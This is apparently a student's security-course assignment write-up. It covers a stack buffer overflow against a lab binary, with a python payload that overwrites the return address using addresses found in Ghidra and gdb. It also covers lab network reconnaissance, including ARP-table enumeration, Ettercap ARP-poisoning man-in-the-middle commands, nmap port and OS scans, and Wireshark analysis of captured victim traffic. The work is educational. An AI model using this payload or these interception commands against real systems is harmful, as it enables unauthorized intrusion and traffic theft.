Assignment 3:

Part1:

1. when executing the program (./weak) it doesn't print anything and waits for the user to enter some text. it then prints these letters randomly upper or lower.

2. 20 is the buffer overflow. we found this out by giving it greater than 19 chars it will only print the first 12 and give a segmentation dump. however when it is less than 20 it still only prints the first 12 (or less if the length is less than 12), however this time it wont seg fault.

3. using ghidra we found the memory address where the print statement was called was at '0804826c'

4.
we then made the code

```
python -c "print 'A'*20 + '\x6c\x82\x04\x08'+ '\x47\x14\x05\x08'" | ./weak
```

the first address is the one we obtainde from before howevert it seg faults. to get it not to seg fault we give it that second adrdress how we obtained that address is in the following steps.

Steps:

gdb ./weak
catch syscall
run < file (file as input to program)
Continue through program till it exits and in last line:
Catchpoint 1 (call to syscall exit_group), 0x08051447 in ?? ()
(gdb) c
Continuing.
[Inferior 1 (process 30338) exited with code 016]
Use address 0x08051447

Part2:

Step 1:

Used “arp -a” to get ARP table entries

Which gave us:

host-10-229-4-2.yeg.cloud.cybera.ca (10.229.4.2) at fa:16:3e:9f:9e:c2 [ether] on eth0
host-10-229-4-6.yeg.cloud.cybera.ca (10.229.4.6) at fa:16:3e:7d:0a:49 [ether] on eth0
host-10-229-100-132.yeg.cloud.cybera.ca (10.229.100.132) at fa:16:3e:c4:6b:c5 [ether] on eth1
host-10-229-100-130.yeg.cloud.cybera.ca (10.229.100.130) at fa:16:3e:02:84:52 [ether] on eth1
host-10-229-100-140.yeg.cloud.cybera.ca (10.229.100.140) at fa:16:3e:bb:1d:57 [ether] on eth1
host-10-229-100-142.yeg.cloud.cybera.ca (10.229.100.142) at fa:16:3e:00:91:f2 [ether] on eth1
? (10.229.100.101) at fa:16:3e:00:46:de [ether] on eth1
host-10-229-100-136.yeg.cloud.cybera.ca (10.229.100.136) at fa:16:3e:1b:d9:28 [ether] on eth1
host-10-229-100-138.yeg.cloud.cybera.ca (10.229.100.138) at fa:16:3e:b9:04:18 [ether] on eth1
? (10.229.100.150) at fa:16:3e:64:e1:48 [ether] on eth1
host-10-229-100-144.yeg.cloud.cybera.ca (10.229.100.144) at fa:16:3e:a5:a2:7e [ether] on eth1
host-10-229-100-156.cloud.cybera.ca (10.229.100.156) at fa:16:3e:fe:09:d1 [ether] on eth1
logger.yeg.cloud.cybera.ca (10.229.100.154) at fa:16:3e:a6:18:7e [ether] on eth1
host-10-229-4-3.yeg.cloud.cybera.ca (10.229.4.3) at fa:16:3e:77:29:3c [ether] on eth0
host-10-229-100-135.yeg.cloud.cybera.ca (10.229.100.135) at fa:16:3e:cd:cc:f0 [ether] on eth1
host-10-229-100-131.yeg.cloud.cybera.ca (10.229.100.131) at fa:16:3e:00:65:30 [ether] on eth1
host-10-229-100-141.yeg.cloud.cybera.ca (10.229.100.141) at fa:16:3e:e1:8c:9a [ether] on eth1
? (10.229.100.51) at fa:16:3e:38:3c:70 [ether] on eth1
host-10-229-100-102.yeg.cloud.cybera.ca (10.229.100.102) at fa:16:3e:22:3d:08 [ether] on eth1

host-10-229-100-137.yeg.cloud.cybera.ca (10.229.100.137) at fa:16:3e:53:3a:8c [ether] on eth1
host-10-229-100-139.yeg.cloud.cybera.ca (10.229.100.139) at fa:16:3e:a7:45:66 [ether] on eth1
victimswindowsinstance.yeg.cloud.cybera.ca (10.229.100.151) at fa:16:3e:bd:7a:d3 [ether] on eth1
host-10-229-100-147.yeg.cloud.cybera.ca (10.229.100.147) at fa:16:3e:9f:8d:2f [ether] on eth1
host-10-229-100-155.cloud.cybera.ca (10.229.100.155) at fa:16:3e:d1:a7:05 [ether] on eth1

First, we eliminated all the ip addresses of the group network via backbones, professors, and the TAs. Which left us with:

? (10.229.100.101) at fa:16:3e:00:46:de [ether] on eth1
? (10.229.100.150) at fa:16:3e:64:e1:48 [ether] on eth1
host-10-229-100-156.cloud.cybera.ca (10.229.100.156) at fa:16:3e:fe:09:d1 [ether] on eth1
logger.yeg.cloud.cybera.ca (10.229.100.154) at fa:16:3e:a6:18:7e [ether] on eth1
? (10.229.100.51) at fa:16:3e:38:3c:70 [ether] on eth1
victimswindowsinstance.yeg.cloud.cybera.ca (10.229.100.151) at fa:16:3e:bd:7a:d3 [ether] on eth1
host-10-229-100-155.cloud.cybera.ca (10.229.100.155) at fa:16:3e:d1:a7:05 [ether] on eth1

Looking at the table, we were able to find the first victim **victimswindowsinstance.yeg.cloud.cybera.ca (10.229.100.151) at fa:16:3e:bd:7a:d3 [ether] on eth1.**

With the knowledge that victims set up connections preodically between them, we ran **Ettercap, “sudo Ettercap -T -i eth1 -n 255.255.255.151 -M arp /10.229.100.151/10.229.100.151 > 151.txt**” to find all the ip addresses that was receiving or sending traffic to **victimswindowsinstance.yeg.cloud.cybera.ca**

Which helped us deduce that the other victims must be:

? (10.229.100.101) at fa:16:3e:00:46:de [ether] on eth1
logger.yeg.cloud.cybera.ca (10.229.100.154) at fa:16:3e:a6:18:7e [ether] on eth1

To find the services running on each of the victim hosts connected to the backbone we used,
“sudo nmap -s<S or U> -p 1-65535 <IP>”, S for TCP and U for UDP; IP addressed being the ip addresses of possible victims, to find the open ports. Also by looking at the stolen traffic to see what port is getting used with what.

services being run on the victims:

IP: 10.229.100.101
Using TCP
ssh
http

IP: 10.229.100.154
Using TCP
ssh
http

IP: 10.229.100.151
Using TCP
http
DHCP request
domain

to find the OS of 10.229.100.151 we used the line **'nmap -sV -p 1-1000 [ip address] '**
for the ip 10.229.100.151:

```
PORT    STATE SERVICE     VERSION
80/tcp  open  http        Microsoft IIS httpd 8.5
135/tcp open  msrpc       Microsoft Windows RPC
139/tcp open  netbios-ssn
445/tcp open  netbios-ssn
  Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

so we know that the OS is windows for 10.229.100.151

but for the other 2 ip addresses didnt have any OS info.

to find the OS info for those 2 we used the line “sudo nmap -O --osscan-guess <IP>” was used. Osscan-guess was used since nmap was not able to detect a perfect OS match, osscan-guess returns its guesses and the confidence level.

Netgear is a router not a OS

IP: 10.229.100.101
Aggressive OS guesses: Netgear DG834G WAP or Western Digital WD TV media player (95%), Linux 2.6.32 (95%), Linux 2.6.32 - 3.9 (95%), Linux 3.8 (93%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6) (92%), Linux 2.6.26 - 2.6.35 (92%), Linux 2.6.32 - 2.6.35 (92%), Linux 2.6.32 - 3.2 (92%)

IP: 10.229.100.154
Aggressive OS guesses: Netgear DG834G WAP or Western Digital WD TV media player (95%), Linux 3.1 (93%), Linux 3.2 (93%), AXIS 210A or 211 Network Camera (Linux 2.6) (92%), Linux 2.4.26 (Slackware 10.0.0) (91%), Crestron XPanel control system (91%), Linux 3.1 - 3.2 (91%), Linux 3.3 - 3.6 (91%), Linux 3.4 (91%), Linux 3.7 - 3.9 (91%)

because it is most likely not a router or digital tv we belive the OS for 10.229.100.101 is linux 2.6.32
and 10.229.100.154 is linux 3.1

Step 2:

The hosts are 101 and 154 they send data to the server which is 154
Using the line:

ettercap -T -i eth1 -n 255.255.255.0 -M arp /10.229.100.0/10.229.100.101/ -w 154.pcap

Then i scp the file to my machine to examine it with wireshark i found that both 101 and 154 send example.gif, example.mp3 and page.htm separately. These were all using the HTTP service on port

In summary 10.229.100.101(host) initiated a connection with 10.229.100.151 (server) so 101 can send those files mentioned earlier.

10.229.100.154 (host) established a connection to 10.229.151 (server) so 154 can send the same files mentioned earlier.

*these files were obtained by the following lines
wget 10.229.100.151/example.gif
wget 10.229.100.151/example.mp3
Wget 10.229.100.151/page.htm

It was also found that 10.229.100.101 and 10.229.100.154 were establishing a ssh connection.
Using the ports 56048 → 22
56048 was the source from ip 10.229.100.101
and 22 was the destination from ip 10.229.100.154
Because port 22 is used for ssh it is believed that 101 is the local host trying establish a ssh connection to the remote host 154

It also seems to be cluster of connections going one way then a cluster going the other way. This could be suggesting that the 2 machines are sending messages back and forth however we are unable to to see these messages.